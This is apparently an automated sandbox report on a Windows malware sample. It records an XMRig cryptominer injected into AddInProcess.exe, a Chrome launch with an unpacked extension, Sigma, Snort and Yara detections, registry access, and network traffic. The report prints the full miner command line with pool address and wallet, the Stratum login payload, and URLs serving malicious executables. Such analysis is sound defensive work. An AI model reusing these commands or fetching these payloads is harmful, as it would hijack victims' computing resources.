Author: Joe Security: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.196.10.233:35662 -u ZEPHs72fKDmidnGGBpgHXJHNdpe49PRJa1tvHRycwAPy9VLQpybiQf527biDskd3jSJyDZY5UbzexC3Fnoxu4rBvgyx1b5vnkJf.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50, CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.196.10.233:35662 -u ZEPHs72fKDmidnGGBpgHXJHNdpe49PRJa1tvHRycwAPy9VLQpybiQf527biDskd3jSJyDZY5UbzexC3Fnoxu4rBvgyx1b5vnkJf.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe, ParentImage: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe, ParentProcessId: 7384, ParentProcessName: Target.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.196.10.233:35662 -u ZEPHs72fKDmidnGGBpgHXJHNdpe49PRJa1tvHRycwAPy9VLQpybiQf527biDskd3jSJyDZY5UbzexC3Fnoxu4rBvgyx1b5vnkJf.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50, ProcessId: 7492, ProcessName: AddInProcess.exe

System Summary

Sigma detected: Chromium Browser Instance Executed With Custom Extension

Source: Process started

Author: Aedan Russell, frack113, X__Junior (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension", CommandLine|base64offset|contains: , Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe", ParentImage: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe, ParentProcessId: 7508, ParentProcessName: zcezeaqsuhi.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension", ProcessId: 7576, ProcessName: chrome.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 7832, ProcessName: svchost.exe

Snort Signatures

ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile - Source IP: 192.168.2.4 - Destination IP: 179.43.170.230

Timestamp:	04/23/24-23:02:05.994156
SID:	2019714
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: zlONcFaXkc.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.196.10.233/dll/ghghghgfg.xml

Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: zlONcFaXkc.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.Target.exe.1d0abdfaef0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.AddInProcess.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Target.exe.1d0abdfaef0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.4120488458.000001978E306000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4120488458.000001978E2D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4110650202.0000000140799000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4120488458.000001978E339000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4137105635.000001D0ABDF5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4110650202.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Target.exe PID: 7384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess.exe PID: 7492, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.4:49840 -> 185.196.10.233:35662 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"zephs72fkdmidnggbpghxjhndpe49prja1tvhrycwapy9vlqpybiqf527bidskd3jsjydzy5ubzexc3fnoxu4rbvgyx1b5vnkjf.rig_cpu","pass":"x","agent":"xmrig/6.21.0 (windows nt 10.0; win64; x64) libuv/1.44.2 msvc/2019","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.

Found strings related to Crypto-Mining

Source: Target.exe, 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stratum+ssl://randomx.xmrig.com:443
Source: Target.exe, 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Target.exe, 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Target.exe, 00000001.00000002.4137105635.000001D0ABDF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Target.exe, 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: Target.exe, 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: XMRig 6.21.0

Source: unknown	HTTPS traffic detected: 40.126.29.9:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.29.9:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:50019 version: TLS 1.2

Source: zlONcFaXkc.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdb source: zcezeaqsuhi.exe, 00000002.00000000.1717795774.000002A5B9702000.00000002.00000001.01000000.00000008.sdmp, zcezeaqsuhi.exe, 00000002.00000002.2015898421.000002A5BB410000.00000002.00000001.00040000.00000008.sdmp, zcezeaqsuhi.exe.1.dr
Source:	Binary string: mscorlib.pdb source: WERD304.tmp.dmp.9.dr
Source:	Binary string: System.ni.pdbRSDS source: WERD304.tmp.dmp.9.dr
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9DD0000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1680370592.000001DFC1F10000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: Lwbtkgrhgw.pdb source: zlONcFaXkc.exe, 00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9994000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB97BC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERD304.tmp.dmp.9.dr
Source:	Binary string: Hider.pdb source: WERD304.tmp.dmp.9.dr
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9DD0000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1680370592.000001DFC1F10000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WERD304.tmp.dmp.9.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERD304.tmp.dmp.9.dr
Source:	Binary string: protobuf-net.pdb source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERD304.tmp.dmp.9.dr
Source:	Binary string: System.pdb source: WERD304.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERD304.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdb source: WERD304.tmp.dmp.9.dr

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2019714 ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile 192.168.2.4:49732 -> 179.43.170.230:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 185.196.10.233 ports 39001,0,1,3,35662,80,9

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 185.196.10.233:39001

Source: global traffic	HTTP traffic detected: GET /ttt.exe HTTP/1.1Host: starsmm.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dll/ghghghgfg.xml HTTP/1.1Host: 185.196.10.233Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 131.253.33.200 131.253.33.200
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3
Source: Joe Sandbox View	IP Address: 52.159.108.190 52.159.108.190
Source: Joe Sandbox View	IP Address: 13.107.213.41 13.107.213.41

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.29.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.29.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.29.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.29.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.6.117.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.6.117.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.6.117.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.6.117.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.6.117.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.6.117.16
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.21.237
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.21.237
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.21.237
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.6.117.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.29.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.6.117.16
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.29.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.29.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163
Source: unknown	TCP traffic detected without corresponding DNS query: 23.11.231.163

Source: global traffic	HTTP traffic detected: GET /crx/blobs/AfQPRnlBHVf9QbAmjPnmJQnDwEcerxafOq8p01cAfJ5QoFk2s6gAMnMY_23BNiizXK2e-3smriJGTe2WOZO9s5X2xejbvoKpPILOKN2-0t9ZbrurACaLAMZSmuXX9slHldVQ07B5bvw6KCm_x6CONA/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_76_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.6c9316b09d3f8e566483.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.119ca1abd9fdaf26e071.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
